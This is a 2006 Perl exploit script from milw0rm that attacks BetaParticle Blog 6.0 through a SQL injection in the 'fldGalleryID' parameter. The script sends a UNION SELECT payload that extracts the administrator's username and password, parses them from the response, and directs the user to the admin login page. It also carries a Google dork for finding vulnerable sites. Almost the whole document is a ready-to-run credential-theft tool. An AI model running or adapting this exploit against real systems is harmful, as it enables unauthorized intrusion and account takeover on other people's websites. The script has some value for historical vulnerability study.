BetaParticle Blog 6.0 - 'fldGalleryID' SQL Injection

#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-20\r\n";
  print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to BetaParticle ex: /blog\r\n";
  exit();
}
sub exploit () {
  #Our variables...
  $bpserver = $ARGV[0];
  $bpserver =~ s/(http:\/\/)//eg;
  $bphost   = "http://".$bpserver;
  $bpdir    = $ARGV[1];
  $bpport   = "80";
  $bptar    = "template_gallery_detail.asp?fldGalleryID=";
  $bpfinal  = "main.asp";
  $bpxp     = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;
  #Sending data...
  header();
  print "- Trying to connect: $bpserver\r\n";
  $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n";
  print $bp "GET $bpreq HTTP/1.1\n";
  print $bp "Accept: */*\n";
  print $bp "Referer: $bphost\n";
  print $bp "Accept-Language: tr\n";
  print $bp "User-Agent: NukeZilla 4.3\n";
  print $bp "Cache-Control: no-cache\n";
  print $bp "Host: $bpserver\n";
  print $bp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$bp>) {
    if ($answer =~ /<h3>(.*?)<\/h3>/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- Username: $1\r\n";
    }
    if ($answer =~ /<p>(.*?)<\/p>/) {
      print "- Password: $1\r\n";
      print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) {
      print "- This version of BetaParticle is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit();
    }
  }
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-18]